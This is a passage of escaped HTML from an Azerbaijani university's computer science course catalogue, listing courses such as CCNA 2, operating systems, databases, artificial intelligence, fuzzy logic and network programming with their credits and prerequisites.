və keçid\r\nvariantların qiymətləndirilməsi. Tələbələr müxtəlif rabitə variantlarını qiymətləndirməyi,\r\nseçməyi və həyata keçirməyi öyrənirlər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 290: CISCO Şəbəkə Administratoru\r\nSertifikatı 2 (CCNA 2) (6&nbsp;<strong><em>ECTS</em></strong>  kredit</em></strong><em>)</em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :</em></strong><em>&nbsp;<strong>CMS\r\n280</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs tələbələri\r\ncari və inkişaf etməkdə olan şəbəkə texnologiyası sahəsində sinif və\r\nlaboratoriya təcrübəsi ilə təmin edir ki, bu da onlara kompüter şəbəkəsi\r\nsahəsində işə və yaxud gələcəkdə təhsil və təlimə daxil olmağa imkan\r\nverəcəkdir. Məzmunun hazırlanmasında cari sənaye standartları və peşə\r\nanalizinin tapşırıq təhlilindən istifadə edilmişdir. CCNA 2 ilkin marşrut\r\nkonfiqurasiyası, Cisco IOS proqram idarəetməsi, marşrutlaşdırma protokol\r\nkonfiqurasiyası, TCP/IP, və kontrol siyahısına (ACL) diqqət verir. Tələbələr\r\nmarşrutu necə konfiqurasiya etməyi, Cisco IOS proqramını idarə etməyi,\r\nmarşrutlaşdırma protokolların konfiqurasiyası və marşrutlaşdırmada nəzarət\r\nsiyahıları yaratmaq üçün bacarıqları inkişaf edəcəklər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 301: Əməliyyat Sistemləri (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 101, CMS 202</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Əməliyyat\r\nsistemlərinin yaradılması və tətbiqinin nəzəri və texniki əsaslarına\r\ngiriş.&nbsp;Çoxtapşırıqlı əməliyyat sistemləri, UNIXə xüsusi vurğu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><br>\r\n<strong><em>CMS 303: Rəqəmsal Məntiq (8 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : EENG 302</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Rəqəmsal sistemlərə\r\ngiriş. Dövrələr və kompüterin təşkili daxil olmaqla komputerin aparat\r\nvasitələrinə tətbiq kimi ardıcıl və qeyri ardıcıl məntiq.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 307: Rəqəmsal sistemlərin məntiqi dizaynı\r\n(8 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : EENG 302</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kombinə edilmiş və\r\nardıcıl sistemlərin texniki şərtləri və tətbiqi. Standart məntiqi modullar və\r\nproqramlaşdırıla bilən məntiqi massivlər. Alqoritmik sistemlərin texniki\r\nşərtləri və tətbiqi : verilənlər və idarə bölmələri. Say sitemləri və hesab\r\nalqoritmləri. Rəqəmsal informasiya üçün xəta nəzarət kodları.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 308: Kompüterlərin arxitekturası və\r\ntəşkili (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 307</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kompüter təlimatları;\r\ndəqiqlik və nəzarət; təlimatların icrası; giriş/çıxış&nbsp;və dayanma; Mərkəzi\r\nprosessorun təşkili; bus konsepsiyası; verilənlərin ötürülməsi və\r\nmanipulyasiya; mərkəzi yaddaş; ünvanlaşdırma, mikro proqram ardıcıllığı; hesab\r\nprosessor dizaynı; giriş/çıxış təşkili; periferik qurğular ; giriş/çıxış\r\ninterfeysi; birbaşa yaddaş imkanı; multiprosessor sisteminin təşkili;\r\nverilənlərin rabitə prosessorları; yardımçı yaddaş; virtual yaddaş; keş yaddaş\r\nvə yaddaşın idarə edilməsi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS&nbsp;309: Kompüter şəbəkələri və rabitə (6&nbsp;<strong><em>ECTS</em></strong>  </em></strong><strong><em>kredit)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :</em></strong><strong><em>&nbsp;CMS\r\n202, CMS 218</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs kompüter\r\nşəbəkələrinin əsas anlayışları və prinsiplərini təqdim edir. Müxtəlif şəbəkə\r\nkomponentləri və bu komponentlərin birlikdə uyğunluğu təqdim olunur. Kurs\r\naparat vasitələrini funksional rabitə sisteminə çevirən şəbəkə proqram\r\ntminatının dizayn və tətbiqini vurğulayır. Real şəbəkələr (İnternet, ATM,\r\nEthernet, Token Ring kimi) anlayışları gücləndirmək və müxtəlif protokolları\r\nnümayiş etmək üçün nümunə kimi istifadə olunur.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 314: İnformasiya Menecmenti (8&nbsp;<strong><em>ECTS</em></strong>  </em></strong><strong><em>kredit)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 218</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">İnformasiyanın\r\ntəsviri, saxlanılması və emalı üçün nəzəri modellər. Əməliyyat verilənlər\r\nbazaları, məlumat anbarları, biliklərin idarəetmə sistemləri kimi təşkilati\r\ninformasiya resurslarının təhlili, dizaynı, həyata keçirilməsi və idarə\r\nolunması.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 316: Verilənlər bazalarının idarəetmə\r\nsistemləri (6&nbsp;<strong><em>ECTS</em></strong>  </em></strong><strong><em>kredit)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :</em></strong><strong><em>&nbsp;CMS\r\n218</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Verilənlər bazasının\r\nidarəetmə sisteminin dizaynı və həyata keçirilməsi üçün zəruri anlayışlar və\r\nstrukturları vurğulayır. Faylların təşkili, relyasiya modeli və relyasiya\r\nverilənlər bazası sistemləri. SQL, Oracle və digər verilənlərin idarəetmə\r\nyanaşmaları. Verilənlər bazasının dizayn prinsipləri. Paylanmış verilənlər\r\nbazası, obyekt-yönümlü verilənlər bazaları, real zaman verilənlər bazaları və\r\nmultimedia verilənlər bazaları kimi seçilmiş mövzular müzakirə olunacaqdır.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 321: Əməliyyatlar Tədqiqi (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 101, CMS 105</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Xətti proqramlaşdırma,\r\nnəqliyyat problemi, qeyri-xətti proqramlaşdırma, Tam proqramlaşdırma.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 336: Alqoritmlərin dizaynı və analizi (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 218</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Analiz üsulları,\r\npekurrent tənliklərin həlli. Alqoritmlərin layihəsi üsulları : bölmə və fəth\r\netmə, qayıdış metodu, budaqlar və sərhədlər metodu və dinamik proqramlaşdırma.\r\nÇeşidləmə və seçilmə alqoritmləri, hip və prioritet növbə.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 345: Mikroprosessorlar və Mikrokompüterlər\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 307</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Mikroprosessorların və\r\nmikrokompüterlərin arxitekturası ilə tanışlıq. Hesab məntiqi qurğunun\r\nstrukturu. Assembler proqramlaşdırma dili. Taymer və kəsilmələr. Paralel və\r\nserial giriş/çıxış proqramlaşdırma.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 350: Kompüter Qrafikası (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 204</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Qrafik aparat\r\nvasitələri, nöqtə və xətt çəkən ekranalr, ekran prosessorları, ekran fayl kompilyatoru,\r\niki və üç ölçülü təsvir və ötürülmə, interaktiv üsullar.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 415: Süni İntellekt (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 316</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs tələbələri\r\nSüni İntellektin əsas principləri ilə tanış edir. Kurs həllin axtarılması,\r\naxtarış strategiyaları, biliklərin təsviri və nəticələrin çıxarılması və süni\r\nintellektin öyrətmə metodlarını əhatə edir. Təbii dilin emalı, ekspert\r\nsistemlər, təsvirlərin anlaşması və robotika kimi mövzular da tədqiq\r\nediləcəkdir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 417: İntellektual İnformasiya Sistemləri\r\n(6&nbsp;<strong><em>ECTS</em></strong>   kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 316</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Verilənlərin və\r\nbiliklərin təsviri, sorğuların emalı, informasiyanın bərpası. Qeyri-səlis\r\nsorğuların emalı. İntellektual verilənlər bazaları və biliklərə əsaslanan\r\nsistemlər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 420: Obyekt-yönümlü proqramlaşdırma\r\ndilləri (8 <strong><em>ECTS</em></strong>  kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 204, CMS 215</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Obyekt-yönümlü\r\nproqramlaşdırma dillərinə giriş. C++ və Java ilə proqramlaşdırma.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 425: Soft Kompütinq (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 204, CMS 316</em></strong><strong><em></em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs Soft\r\nKompütinqin əsas anlayışlarıni və üç əsas hissəsini : Qeyri-səlis məntiq,\r\nNeyron şəbəkələr və Genetik Alqoritmləri əhatə edir. Kurs nəzəri əsaslarla\r\nyanaşı müxtəlif alət və üsullardan istifadə etməklə praktiki tətbiqləri özündə\r\nbirləşdirir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 430: Proqram təminatının\r\nlayihələndirilməsi texnikası (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 420</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Struktur\r\nproqramlaşdırması, proqram spesifikasiyası, proqramın dürüstlüyü, modulluq,\r\nabstract verilənlər tipi, mürəkkəb dizayn, proqram vasitələri alətləri, proqram\r\nvasitələrinə nəzarət sistemi, proqramın test edilməsi, qrup proqramlaşdırma.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 445: İnformasiya Sistemlərinin\r\nlayihələndirilməsi (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 314</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Planlaşdırma və\r\nqiymətləndirmə. Risklərin analizi və idarə edilməsi. Spesifikasiya&nbsp;texnikaları. Process modelləşdirilməsi. Ölçmə və qiymətləndirmə. İnformasiya\r\nsistemlərinin inkişaf metodologiyaları. Müqayisəli sorğu. Informasiya\r\nsistemlərinin inkişafında keys texnologiyası.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 450: Veb Dizayn və layihələndirmə (8\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 230, CMS 336</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Veb yönümlü və\r\nklient-server sistemlərin analizi, layihələndirilməsi, qurulması və tətbiqi.\r\nKlient-server və Veb test, klient-server və Veb texnologiya arxitekturası,\r\ndəstək servisləri, Veb verilənlər bazası tətbiqinin dizaynı və\r\nproqramlaşdırması.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 470: Yay təcrübəsi (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Yay təcrübəsi tələbələrə\r\nnəzəri biliklərini real həyat şəraitinə tətbiq etmək imkanı yaradır.&nbsp;Tələbələr ölkənin aparıcı İT müəssisələrinin kompüter sistemləri və proqram\r\ntəminatı ilə tanış olur və praktiki bacarıqlara yiyələnirlər.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 501: Süni İntellekt Proqramlaşdırması (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Süni İntellekt\r\nproqramlaşdırması alətləri, üsulları və problemləri, Süni İntellekt tətbiqləri\r\nüçün funksional proqramlaşdırma. LİSP dili. Məntiqi proqramlaşdırma üsulları.\r\nSüni İntellekt proqramlaşdırma dilləri və süni intellektin xüsusiyyətləri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 502: İntellektual Sistemlər (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><br>\r\nİntellektual sistemıərin əsas elementləri. Biliklərin təsvir edilməsi.\r\nProduksiya qaydalar, semantik şəbəkələr, freymlər, məntiqi modellər, skriptlər.\r\nİntellektual sistemlərin&nbsp;layihələndirilməsi vasitələri. İntellektual\r\nsistemlərin&nbsp;layihələndirilməsi mərhələləri. İntellektual sistemlərin&nbsp;layihələndirilməsinin aparat və proqram vasitələri. Ekspert sistemlər.\r\nVP-Expert ilə ekspert sistemlər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 503: Ekspert Sistemlər (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 415, CMS 425</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Ekspert Sistemlərin\r\nəsas strukturu və funksiyaları. Biliklərin əldə edilməsi. Biliklər bazası\r\nmodulu. Qeyri-səlis mühakimə. Qeyri-səlis ekspert sistemlər. Ekspert\r\nsistemlərdə əminlik dərəcəsi və onun qiymətləndirilməsi. Hibrid və paylanmiş\r\nekspert sistemlər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 505: Qeyri-səlis məntiq (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 425</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Qeyri-səlis məntiq,\r\nqeyri-səlis çoxluqlar, onlar üzərində əməllər. Qeyri-səlis məntiqin tətbiqi,\r\nobrazların qavranılması, kontrollerlər, təsvirlərin emalı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><br>\r\n<strong><em>CMS 507: Qərarların qəbul edilməsinin\r\nəsasları (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 202, CMS 321</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Qərarların qəbul\r\nedilməsinə giriş. Verilənlərin analizi. Çoxölçülü reqressiya analizi. Modellər\r\nvə modellərin qurulması. Qərarların dəstək sistemləri. Optimizasiya modelləri.\r\nSimulyasiya modelləri : Monte-Karlo simulyasiyası, elektron cədvəllə\r\nsimulyasiya, Risklərin analizi, qeyri müəyyənlik şəraitində qərarların qəbul\r\nedilməsi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 510: Neyron Şəbəkələr (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 309, CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Sadə və qeyri-səlis\r\nneyron modelləri. Mənsubiyyət funksiyalarının formaları. İyerarxik neyron\r\nşəbəkələri. Feedforward və feedback şəbəkə. Təkqat və çoxqat şəbəkə.\r\nQeyri-səlis min-max neyron şəbəkələri. Qeyri-səlis neyron şəbəkələrdə öyrənmə.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 512: Obrazların qavranılması (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 321, CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Verilənlərdən\r\n(məlumatlardan) və təsvirlərdən çıxartma xüsusiyyətləri. Təsvirlərin təsnifatı.\r\nBölmələrə ayırma. Qərar qəbuletmə funksiyası. Obrazların&nbsp;sinifləşdirilməsi. Qavrama alqoritmi. Təlim seçimi. Qavrama üçün\r\nstoxastik və adaptiv təlim alqoritmləri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><em>&nbsp;</em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 515: Paylanmış İntellektual Sistemlər (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 309, CMS 417</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Paylanmış İntellektual\r\nSistemlərin strukturu : nəzarət şəbəkəsi və iyerarxik şəbəkə. Paylanmış\r\nİntellektual Sistemlərdə intellektual sistemlərin qarşılıqlı əlaqəsinin\r\ntəşkili: Birbaşa əlaqə və qeyri-birbaşa əlaqə. Paylanmış İntellektual\r\nSistemlərdə koordinasiya.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 517: Hibrid İntellektual Sistemlər (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 415, CMS 425</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Qeyri-səlis\r\nsistemlərin Neyro-qeyri-səlis müəyyən modeli. Qeyri-səlis sistemlər üçün\r\nNeuro-qeyri-səlis tanımlayıcılar və kontrollerlər. Nəzarət sistemlərində\r\nqeyri-səlis neyron şəbəkə yanaşma. Neyron şəbəkənin birbaşa fuzzifikasiyası.\r\nNeyron şəbəkələri ilə qeyri-səlis nəticə çıxarma qaydalarının öyrənmə metodu.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 520: İnternet araşdırmalarında müasir\r\nmövzu (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 309, CMS 450</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">İnternetin inkişaf\r\ntarixi və TCP / IP protokol dizaynının əsas fundamental prinsipləri. Multicast\r\nmarşrutlaşdırma protokolları, multicast nəqliyyat protokolları (məsələn,\r\nreal-vaxt, nəqliyyat protokolu, RTR və SRM), inteqrasiya xidmətləri üçün dəstək\r\ndaxil olmaqla cari tədqiqat mövzularının müzakirəsi. World Wide Web, Internetin\r\nmultimedia tətbiqləri. Şəbəkə protokol dizaynı və tətbiqinin fundamental\r\nməsələləri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 521: Kompüter Şəbəkələri (yüksək səviyyə)\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 309, CMS 450</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Yeddi qat ISO-OSI\r\nmodelinin tədqiqi. Yüksək sürətli şəbəkələr: LAN, MAN, ATM. Axın və çox\r\nyüklənməyə nəzarət; buraxılabilmə zolağının yerləşdirilməsi. Şəbəkələrin\r\nəlaqəsi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 522: Şəbəkə Proqramlaşdırması (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 309, CMS 450</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kompüter rabitəsinin\r\nəsasları və OSI aşağı səviyyəli protokollar. Yüksək səviyyəli protokollar:\r\nnəqliyyat, sessiya, təqdimat və tətbiqi qat. Protokol dəqiqləşdirilməsi,\r\nyoxlanması və testləşmə üçün formal üsullara giriş. IPX, SPX, TCP/IP, NetBEUI\r\nprotokolları və onların&nbsp;tətbiqi proqramlarda istifadəsi. Yüksək səviyyəli\r\ndillərdə şəbəkə proqramlaşdırması. Məsafədən çağırış prosedurları və\r\nproqramlaşdırma.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" 